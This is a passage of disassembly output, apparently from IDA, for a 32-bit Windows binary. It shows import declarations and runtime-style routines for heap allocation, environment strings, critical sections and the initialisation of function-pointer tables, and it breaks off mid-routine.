; HANDLE __stdcall CreateFileA(LPCSTR lpFileName, DWORD	dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes,	DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE	hTemplateFile)
		extrn CreateFileA:dword	; CODE XREF: sub_69B39E9F+B3p
					; DATA XREF: sub_69B39E9F+B3r
; BOOL __stdcall FlushFileBuffers(HANDLE hFile)
		extrn FlushFileBuffers:dword ; CODE XREF: sub_69B3A007+26p
					; sub_69B3A12F+43p
					; DATA XREF: ...
; BOOL __stdcall ReadFile(HANDLE hFile,	LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped)
		extrn ReadFile:dword	; CODE XREF: sub_69B3A038+35p
					; DATA XREF: sub_69B3A038+35r

;
; Imports from VERSION.dll
;
; BOOL __stdcall GetFileVersionInfoA(LPSTR lptstrFilename, DWORD dwHandle, DWORD dwLen,	LPVOID lpData)
		extrn __imp_GetFileVersionInfoA:dword ;	DATA XREF: GetFileVersionInfoAr
; BOOL __stdcall VerQueryValueA(const LPVOID pBlock, LPSTR lpSubBlock, LPVOID *lplpBuffer, PUINT puLen)
		extrn __imp_VerQueryValueA:dword ; DATA	XREF: VerQueryValueAr
; DWORD	__stdcall GetFileVersionInfoSizeA(LPSTR	lptstrFilename,	LPDWORD	lpdwHandle)
		extrn __imp_GetFileVersionInfoSizeA:dword
					; DATA XREF: GetFileVersionInfoSizeAr

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 69B11278h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		dd 0

; =============== S U B	R O U T	I N E =======================================



sub_69B1127C	proc near		; CODE XREF: sub_69B1CC44+15p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 69B22BDD SIZE 0000000C BYTES

		mov	eax, [esp+arg_0]
		add	eax, 4
		push	eax		; dwBytes
		push	8		; dwFlags
		push	hHeap		; hHeap
		call	ds:HeapAlloc
		test	al, 4
		jnz	loc_69B22BDD

locret_69B1129A:			; CODE XREF: sub_69B1127C+11968j
		retn	4
sub_69B1127C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1129D	proc near		; CODE XREF: sub_69B1AC42+93p
					; sub_69B1AC42+D5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 69B112B1 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 69B236E1 SIZE 0000000E BYTES

		cmp	dword_69B92940,	0
		jnz	loc_69B236E1


loc_69B112AA:				; CODE XREF: sub_69B1129D+18j
		mov	eax, [esp+arg_4]

locret_69B112AE:			; CODE XREF: sub_69B1129D+16j
		retn	8
sub_69B1129D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1129D


loc_69B112B1:				; CODE XREF: sub_69B1129D+1244Dj
		test	eax, eax
		jz	short locret_69B112AE
		jmp	short loc_69B112AA
; END OF FUNCTION CHUNK	FOR sub_69B1129D
; ---------------------------------------------------------------------------


loc_69B112B7:				; DATA XREF: sub_69B1CD73+7Co
		call	ds:TlsAlloc	; TlsAlloc
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_69B112C0	proc near		; CODE XREF: sub_69B1B625+BFp

var_8		= dword	ptr -8
cchWideChar	= dword	ptr -4

; FUNCTION CHUNK AT 69B24F66 SIZE 0000009D BYTES

		push	ecx
		push	ecx
		mov	eax, dword_69B95C48
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, ds:GetEnvironmentStringsW
		xor	ebx, ebx
		xor	esi, esi
		cmp	eax, ebx
		push	2
		pop	ebp
		jnz	loc_69B11375
		call	edi ; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_69B24F66
		mov	dword_69B95C48,	1


loc_69B112F6:				; CODE XREF: sub_69B112C0+BEj
		cmp	esi, ebx
		jz	loc_69B24F87


loc_69B112FE:				; CODE XREF: sub_69B112C0+13CCFj
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_69B1131E
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop


loc_69B11310:				; CODE XREF: sub_69B112C0+55j
					; sub_69B112C0+5Cj
		add	eax, ebp
		cmp	[eax], bx
		jnz	short loc_69B11310
		add	eax, ebp
		cmp	[eax], bx
		jnz	short loc_69B11310


loc_69B1131E:				; CODE XREF: sub_69B112C0+43j
		mov	edi, ds:WideCharToMultiByte
		push	ebx		; lpUsedDefaultChar
		push	ebx		; lpDefaultChar
		push	ebx		; cchMultiByte
		sub	eax, esi
		push	ebx		; lpMultiByteStr
		sar	eax, 1
		inc	eax
		push	eax		; cchWideChar
		push	esi		; lpWideCharStr
		push	ebx		; dwFlags
		push	ebx		; CodePage
		mov	[esp+38h+cchWideChar], eax
		call	edi ; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_69B11365
		mov	ecx, ebp
		call	sub_69B19560
		cmp	eax, ebx
		mov	[esp+18h+var_8], eax
		jz	short loc_69B11365
		push	ebx		; lpUsedDefaultChar
		push	ebx		; lpDefaultChar
		push	ebp		; cchMultiByte
		push	eax		; lpMultiByteStr
		push	[esp+28h+cchWideChar] ;	cchWideChar
		push	esi		; lpWideCharStr
		push	ebx		; dwFlags
		push	ebx		; CodePage
		call	edi ; WideCharToMultiByte
		test	eax, eax
		jz	loc_69B24F94


loc_69B11361:				; CODE XREF: sub_69B112C0+13CE2j
		mov	ebx, [esp+18h+var_8]


loc_69B11365:				; CODE XREF: sub_69B112C0+7Bj
					; sub_69B112C0+8Aj
		push	esi		; LPWSTR
		call	ds:FreeEnvironmentStringsW	; FreeEnvironmentStringsW


loc_69B1136C:				; CODE XREF: sub_69B112C0+13D3Ej
		mov	eax, ebx


loc_69B1136E:				; CODE XREF: sub_69B112C0+13CF1j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_69B11375:				; CODE XREF: sub_69B112C0+1Aj
					; sub_69B112C0+13CB8j ...
		cmp	eax, 1
		jnz	loc_69B24FA7
		jmp	loc_69B112F6
sub_69B112C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B11383	proc near		; CODE XREF: sub_69B1B625+C9p

; FUNCTION CHUNK AT 69B1C49A SIZE 000000A9 BYTES
; FUNCTION CHUNK AT 69B24DA9 SIZE 00000100 BYTES

		push	54h
		push	offset dword_69B113F0
		call	sub_69B19C5C
		xor	esi, esi
		mov	[ebp-4], esi
		lea	eax, [ebp-5Ch]
		push	eax		; lpStartupInfo
		call	ds:GetStartupInfoA	; GetStartupInfoA
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, 480h
		call	sub_69B19560
		cmp	eax, esi
		jz	loc_69B1C53E
		mov	dword_69B96020,	eax
		mov	uNumber, 20h
		lea	ecx, [eax+480h]


loc_69B113C9:				; CODE XREF: sub_69B11383+6Bj
		cmp	eax, ecx
		jnb	loc_69B1C4A4
		mov	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	[eax+8], esi
		add	eax, 24h
		mov	ecx, dword_69B96020
		add	ecx, 480h
		jmp	short loc_69B113C9
sub_69B11383	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
dword_69B113F0	dd 0FFFFFFFFh			dd offset sub_69B24EA9
		dd offset sub_69B24EAD

; =============== S U B	R O U T	I N E =======================================



sub_69B113FC	proc near		; CODE XREF: sub_69B1BA12+Ep
					; sub_69B1CFE4+12p ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 69B250B4 SIZE 0000001C BYTES

		mov	eax, [esp+arg_0]
		push	esi
		lea	esi, lpCriticalSection[eax*8]
		cmp	dword ptr [esi], 0
		jz	loc_69B250B4


loc_69B11411:				; CODE XREF: sub_69B113FC+13CC1j
					; sub_69B113FC+13CCFj
		push	dword ptr [esi]	; lpCriticalSection
		call	ds:EnterCriticalSection
		pop	esi
		retn
sub_69B113FC	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1A319


loc_69B1141B:				; CODE XREF: sub_69B1A319+C9j
					; sub_69B1A319+D8j ...
		test	edi, edi
		jz	short loc_69B11423
		mov	byte ptr [edi],	0
		inc	edi


loc_69B11423:				; CODE XREF: sub_69B1A319-8EFCj
		inc	dword ptr [esi]
		mov	ebx, [ebp+arg_4]
		jmp	loc_69B1A388
; ---------------------------------------------------------------------------


loc_69B1142D:				; CODE XREF: sub_69B1A319+72j
					; sub_69B1A319+8Fj
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_69B11437
		and	dword ptr [eax], 0


loc_69B11437:				; CODE XREF: sub_69B1A319-8EE7j
		inc	dword ptr [ebx]
		pop	edi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_69B1143D:				; CODE XREF: sub_69B1A319+4Fj
		dec	eax
		jmp	loc_69B1A384
; ---------------------------------------------------------------------------


loc_69B11443:				; CODE XREF: sub_69B1A319+AEj
		inc	eax
		inc	edx
		jmp	loc_69B1A3C4
; END OF FUNCTION CHUNK	FOR sub_69B1A319

; =============== S U B	R O U T	I N E =======================================



sub_69B1144A	proc near		; CODE XREF: sub_69B1D244p
		mov	eax, offset sub_69B8557E
		mov	off_69B92680, eax
		mov	off_69B92684, offset loc_69B85234
		mov	off_69B92688, offset sub_69B85299
		mov	off_69B9268C, offset sub_69B851F8
		mov	off_69B92690, offset loc_69B8527F
		mov	off_69B92694, eax
		retn
sub_69B1144A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B11482	proc near		; CODE XREF: sub_69B1D279+Cp

; FUNCTION CHUNK AT 69B24C55 SIZE 0000003A BYTES

		xor	eax, eax
		test	bl, 1
		jz	short loc_69B1148C
		push	10h
		pop	eax


loc_69B1148C:				; CODE XREF: sub_69B11482+5j
		test	bl, 4
		jz	short loc_69B11494
		or	eax, 8


loc_69B11494:				; CODE XREF: sub_69B11482+Dj
		test	bl, 8
		jz	short loc_69B1149C
		or	eax, 4


loc_69B1149C:				; CODE XREF: sub_69B11482+15j
		test	bl, 10h
		jz	short loc_69B114A4
		or	eax, 2


loc_69B114A4:				; CODE XREF: sub_69B11482+1Dj
		test	bl, 20h
		jz	short loc_69B114AC
		or	eax, 1


loc_69B114AC:				; CODE XREF: sub_69B11482+25j
		test	bl, 2
		jz	short loc_69B114B6
		or	eax, 80000h


loc_69B114B6:				; CODE XREF: sub_69B11482+2Dj
		push	ebp
		movzx	edx, bx
		push	esi
		mov	ecx, edx
		mov	esi, 0C00h
		and	ecx, esi
		push	edi
		mov	edi, 300h
		mov	ebp, 200h
		jnz	loc_69B24C55


loc_69B114D5:				; CODE XREF: sub_69B11482+137E5j
					; sub_69B11482+137EDj ...
		and	edx, edi
		jz	short loc_69B114EF
		cmp	edx, ebp
		jnz	short loc_69B114E2
		or	eax, 10000h


loc_69B114E2:				; CODE XREF: sub_69B11482+59j
					; sub_69B11482+72j
		test	bh, 10h
		pop	edi
		pop	esi
		pop	ebp
		jnz	loc_69B24C85

locret_69B114EE:			; CODE XREF: sub_69B11482+13808j
		retn
; ---------------------------------------------------------------------------


loc_69B114EF:				; CODE XREF: sub_69B11482+55j
		or	eax, 20000h
		jmp	short loc_69B114E2
sub_69B11482	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B114F6	proc near		; DATA XREF: .data:69B9212Co

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		mov	[ebp+var_10], offset loc_69B5BAAC
		xor	eax, eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B96340
		movsd
		movsd
		movsd
		movsd
		mov	[ebp+var_10], offset nullsub_3
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B96358
		movsd
		movsd
		movsd
		movsd
		or	[ebp+var_4], 0FFFFFFFFh
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B96370
		movsd
		movsd
		movsd
		movsd
		pop	edi
		pop	esi
		leave
		retn
sub_69B114F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B11555	proc near		; DATA XREF: .data:69B92130o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		mov	[ebp+var_10], offset sub_69B5B197
		xor	eax, eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B92308
		movsd
		movsd
		movsd
		movsd
		mov	[ebp+var_10], offset sub_69B5C589
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B92320
		movsd
		movsd
		movsd
		movsd
		mov	[ebp+var_10], offset sub_69B5B202
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B92338
		movsd
		movsd
		movsd
		movsd
		mov	[ebp+var_10], offset sub_69B5B337
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B92350
		movsd
		movsd
		movsd
		movsd
		mov	[ebp+var_10], offset sub_69B5BEA5
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B92368
		movsd
		movsd
		movsd
		movsd
		mov	[ebp+var_10], offset sub_69B5B3E3
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B92380
		movsd
		movsd
		movsd
		movsd
		mov	[ebp+var_10], offset sub_69B5ACE7
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B92398
		movsd
		movsd
		movsd
		movsd
		mov	[ebp+var_10], offset sub_69B5ACF7
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B923B0
		movsd
		movsd
		movsd
		movsd
		or	[ebp+var_4], 0FFFFFFFFh
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B923C8
		movsd
		movsd
		movsd
		movsd
		pop	edi
		pop	esi
		leave
		retn
sub_69B11555	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B1165C	proc near		; DATA XREF: .data:69B92134o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		mov	[ebp+var_10], offset sub_69B5B263
		xor	eax, eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B923E0
		movsd
		movsd
		movsd
		movsd
		mov	[ebp+var_10], offset sub_69B5B3FA
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B923F8
		movsd
		movsd
		movsd
		movsd
		mov	[ebp+var_10], offset sub_69B5B464
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B92410
		movsd
		movsd
		movsd
		movsd
		mov	[ebp+var_10], offset sub_69B5BEB9
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B92428
		movsd
		movsd
		movsd
		movsd
		mov	[ebp+var_10], offset sub_69B5B2F9
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B92440
		movsd
		movsd
		movsd
		movsd
		mov	[ebp+var_10], offset sub_69B5AD07
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B92458
		movsd
		movsd
		movsd
		movsd
		mov	[ebp+var_10], offset sub_69B5AD1A
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B92470
		movsd
		movsd
		movsd
		movsd
		or	[ebp+var_4], 0FFFFFFFFh
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B92488
		movsd
		movsd
		movsd
		movsd
		pop	edi
		pop	esi
		leave
		retn
sub_69B1165C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B11747	proc near		; DATA XREF: .data:69B92138o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		mov	[ebp+var_10], offset sub_69B5B47E
		xor	eax, eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B924A0
		movsd
		movsd
		movsd
		movsd
		mov	[ebp+var_10], offset sub_69B5AD2D
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B924B8
		movsd
		movsd
		movsd
		movsd
		mov	[ebp+var_10], offset sub_69B5AD40
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B924D0
		movsd
		movsd
		movsd
		movsd
		or	[ebp+var_4], 0FFFFFFFFh
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B924E8
		movsd
		movsd
		movsd
		movsd
		pop	edi
		pop	esi
		leave
		retn
sub_69B11747	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B117C2	proc near		; DATA XREF: .data:69B9213Co

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		mov	[ebp+var_10], offset sub_69B5B16B
		xor	eax, eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B92500
		movsd
		movsd
		movsd
		movsd
		mov	[ebp+var_10], offset sub_69B5BE84
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B92518
		movsd
		movsd
		movsd
		movsd
		mov	[ebp+var_10], offset sub_69B5B181
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B92530
		movsd
		movsd
		movsd
		movsd
		or	[ebp+var_4], 0FFFFFFFFh
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B92548
		movsd
		movsd
		movsd
		movsd
		pop	edi
		pop	esi
		leave
		retn
sub_69B117C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B1183D	proc near		; DATA XREF: .data:69B92140o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		mov	[ebp+var_10], offset sub_69B5BECF
		xor	eax, eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B92560
		movsd
		movsd
		movsd
		movsd
		mov	[ebp+var_10], offset sub_69B5AD53
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B92578
		movsd
		movsd
		movsd
		movsd
		mov	[ebp+var_10], offset sub_69B5AD70
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B92590
		movsd
		movsd
		movsd
		movsd
		or	[ebp+var_4], 0FFFFFFFFh
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B925A8
		movsd
		movsd
		movsd
		movsd
		pop	edi
		pop	esi
		leave
		retn
sub_69B1183D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B118B8	proc near		; DATA XREF: .data:69B92144o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		mov	[ebp+var_10], offset sub_69B5B337
		xor	eax, eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B925C0
		movsd
		movsd
		movsd
		movsd
		mov	[ebp+var_10], offset sub_69B5ACE7
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B925D8
		movsd
		movsd
		movsd
		movsd
		mov	[ebp+var_10], offset sub_69B5ACF7
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B925F0
		movsd
		movsd
		movsd
		movsd
		or	[ebp+var_4], 0FFFFFFFFh
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B92608
		movsd
		movsd
		movsd
		movsd
		pop	edi
		pop	esi
		leave
		retn
sub_69B118B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B11933	proc near		; DATA XREF: .data:69B92148o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		mov	[ebp+var_10], offset sub_69B5B3FA
		xor	eax, eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B92620
		movsd
		movsd
		movsd
		movsd
		mov	[ebp+var_10], offset sub_69B5AD07
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B92638
		movsd
		movsd
		movsd
		movsd
		mov	[ebp+var_10], offset sub_69B5AD1A
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B92650
		movsd
		movsd
		movsd
		movsd
		or	[ebp+var_4], 0FFFFFFFFh
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B92668
		movsd
		movsd
		movsd
		movsd
		pop	edi
		pop	esi
		leave
		retn
sub_69B11933	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B119AE	proc near		; DATA XREF: .data:69B9214Co

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		xor	eax, eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		or	ecx, 0FFFFFFFFh
		mov	[ebp+var_4], ecx
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B96148
		movsd
		movsd
		movsd
		movsd
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], ecx
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B96158
		movsd
		movsd
		movsd
		movsd
		mov	[ebp+var_10], offset sub_69B5C2C9
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B96168
		movsd
		movsd
		movsd
		movsd
		mov	[ebp+var_10], offset sub_69B5B040
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B96188
		movsd
		movsd
		movsd
		movsd
		mov	[ebp+var_10], offset sub_69B5CA0B
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B96198
		movsd
		movsd
		movsd
		movsd
		mov	[ebp+var_10], offset sub_69B5BEDE
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B961A8
		movsd
		movsd
		movsd
		movsd
		mov	[ebp+var_10], offset sub_69B5B0D9
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B961C8
		movsd
		movsd
		movsd
		movsd
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B961D8
		mov	[ebp+var_10], offset sub_69B5A9BB
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		movsd
		movsd
		movsd
		movsd
		mov	[ebp+var_10], offset sub_69B5C076
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B961E8
		movsd
		movsd
		movsd
		movsd
		mov	[ebp+var_10], offset sub_69B5ACA1
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B96208
		movsd
		movsd
		movsd
		movsd
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], ecx
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B96218
		movsd
		movsd
		movsd
		movsd
		mov	[ebp+var_10], offset sub_69B5AD8D
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B96228
		movsd
		movsd
		movsd
		movsd
		mov	[ebp+var_10], offset sub_69B5C416
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B96248
		movsd
		movsd
		movsd
		movsd
		mov	[ebp+var_10], offset sub_69B5C433
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B96258
		movsd
		movsd
		movsd
		movsd
		mov	[ebp+var_10], offset sub_69B5BE76
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B96268
		movsd
		movsd
		movsd
		movsd
		mov	[ebp+var_10], offset sub_69B5C3BA
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B96288
		movsd
		movsd
		movsd
		movsd
		mov	[ebp+var_10], offset sub_69B5A9E0
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B96298
		movsd
		movsd
		movsd
		movsd
		mov	[ebp+var_10], offset sub_69B5C12E
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		lea	esi, [ebp+var_10]
